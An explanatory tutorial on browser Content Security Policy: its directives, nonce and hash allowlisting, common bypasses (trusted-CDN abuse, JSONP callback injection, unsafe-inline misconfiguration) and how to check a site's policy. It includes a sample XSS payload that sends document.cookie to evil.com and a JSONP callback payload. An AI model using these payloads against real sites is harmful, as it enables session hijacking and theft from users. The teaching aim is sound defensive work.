Content Security Policy (CSP)
CSP is an HTTP response header that tells the browser what it’s allowed to load and execute on a page. The server sends it, the browser enforces it.
The server adds this to the HTTP response, example:
Content-Security-Policy: script-src 'self'; img-src *; style-src 'self' 'unsafe-inline'
Or via HTML meta tag (less powerful, can’t cover everything):
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
The structure
CSP is made of directives. Each directive controls a resource type:
script-src > what JS is allowed to run
style-src > what CSS is allowed to load
img-src > where images can come from
connect-src > where fetch/XHR/WebSocket can connect to
font-src > where fonts can load from
frame-src > what can be embedded in iframes
default-src > fallback for anything not explicitly set
Each directive takes a list of sources:
'self' > only your own domain
'none' > block everything
* > allow any domain (wildcard)
https: > any HTTPS source
https://cdn.example.com > specific domain only
'unsafe-inline' > allow inline scripts/styles
'unsafe-eval' > allow eval()
'nonce-abc123' > allow specific tagged scripts
'sha256-<hash>' > allow scripts matching this hash
Example broken down:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net 'nonce-xyz789';
style-src 'self' 'unsafe-inline';
img-src * data:;
connect-src 'self' https://api.mysite.com;
frame-src 'none'
Reading it:
default-src 'self'- everything defaults to same origin onlyscript-src 'self' https://cdn.jsdelivr.net 'nonce-xyz789'- JS can load from your domain, jsdelivr CDN, or any script tag withnonce="xyz789"style-src 'self' 'unsafe-inline'- CSS from your domain plus inline styles allowedimg-src * data:- images from anywhere including base64 data URIsconnect-src 'self' https://api.mysite.com- fetch/XHR only to your domain and your APIframe-src 'none'- iframes completely blocked
How it stops XSS
Without CSP, if an attacker injects this into your page somehow:
<script>fetch('https://evil.com/?c='+document.cookie)</script>
The browser runs it, cookies are stolen.
With script-src 'self' it refused to execute inline script because it violates the Content Security Policy directive: “script-src ‘self’”
Browser blocks it entirely. The injection is there in the HTML but it never executes.
The nonce system
The problem with blocking all inline scripts is that legitimate sites use them too. Nonces solve this:
Server generates a random string per request:
Content-Security-Policy: script-src 'nonce-r4nd0mXYZ'
Then tags its own legitimate scripts with it:
<script nonce="r4nd0mXYZ">
// this runs: nonce matches
</script>
<script>
// this is blocked: no nonce
</script>
An attacker injecting a <script> tag can’t know the nonce because it’s random and changes every request. So their injected script gets blocked even though legitimate scripts still run.
The hash system
Alternative to nonces you hash the exact content of a script:
Content-Security-Policy: script-src 'sha256-abc123hash'
The browser hashes any inline script it finds and compares. If it matches, it runs. If an attacker changes anything in the script, the hash won’t match and it’s blocked.
CSP bypasses
CSP is not bulletproof. Common bypasses:
1 - Whitelisted CDN abuse
script-src https://cdn.jsdelivr.net
If a CDN is whitelisted and that CDN hosts user-uploaded files, an attacker can upload malicious JS to the CDN and load it from there. The CSP allows it because it trusts the CDN domain.
2 - JSONP endpoints
Old APIs have endpoints like:
https://trusted.com/api?callback=myFunction
Which return:
myFunction({...data...})
If trusted.com is whitelisted in CSP, an attacker can do:
https://trusted.com/api?callback=alert(document.cookie)//
And the response becomes executable JS from a trusted source.
3 - unsafe-inline + unsafe-eval misconfiguration
Developers add these to stop things breaking without understanding the security cost. Immediately defeats most of CSP’s XSS protection.
4 - default-src * wildcard
Allows loading from anywhere. Essentially no protection.
5 - Missing directives
If script-src is set but object-src is not, and default-src is also not set, Flash objects or plugins could be used to execute code. Always need default-src as a fallback.
6 - Browser bugs
Historically browsers have had CSP parsing bugs where malformed directives were ignored entirely.
CSP is a second line of defense, not a first. The correct mental model is:
First line: sanitize and escape all user input (stops injection)
Second line: CSP (limits damage if injection happens anyway)
A well-configured CSP with nonces is genuinely strong. A poorly configured one with wildcards and unsafe-inline gives false confidence - it’s there but doing almost nothing. This is actually common in the wild, which is why CSP bypass is a real pentesting skill.
How to check
1 - DevTools
Check the response headers directly in DevTools > Network tab > reload the page > click the main document (first request, usually the domain name) > Headers tab > look for Content-Security-Policy in the response headers.
If you see it, read the script-src part:
script-src 'self' ← blocks eval and inline
script-src 'self' 'unsafe-eval' ← allows eval
script-src 'self' 'unsafe-inline' ← allows inline scripts
script-src * ← allows everything, basically no protection
If there’s no Content-Security-Policy header at all, no CSP.
2 - eval
Just try eval in the console
eval("1+1")
If it returns 2 then eval is allowed. If you get an error then CSP is blocking it.
3 - Check via console directly
console.log(document.querySelector("meta[http-equiv='Content-Security-Policy']")?.content)
Some sites set CSP via a meta tag in the HTML instead of a header. This checks for that. If it returns undefined check the headers instead.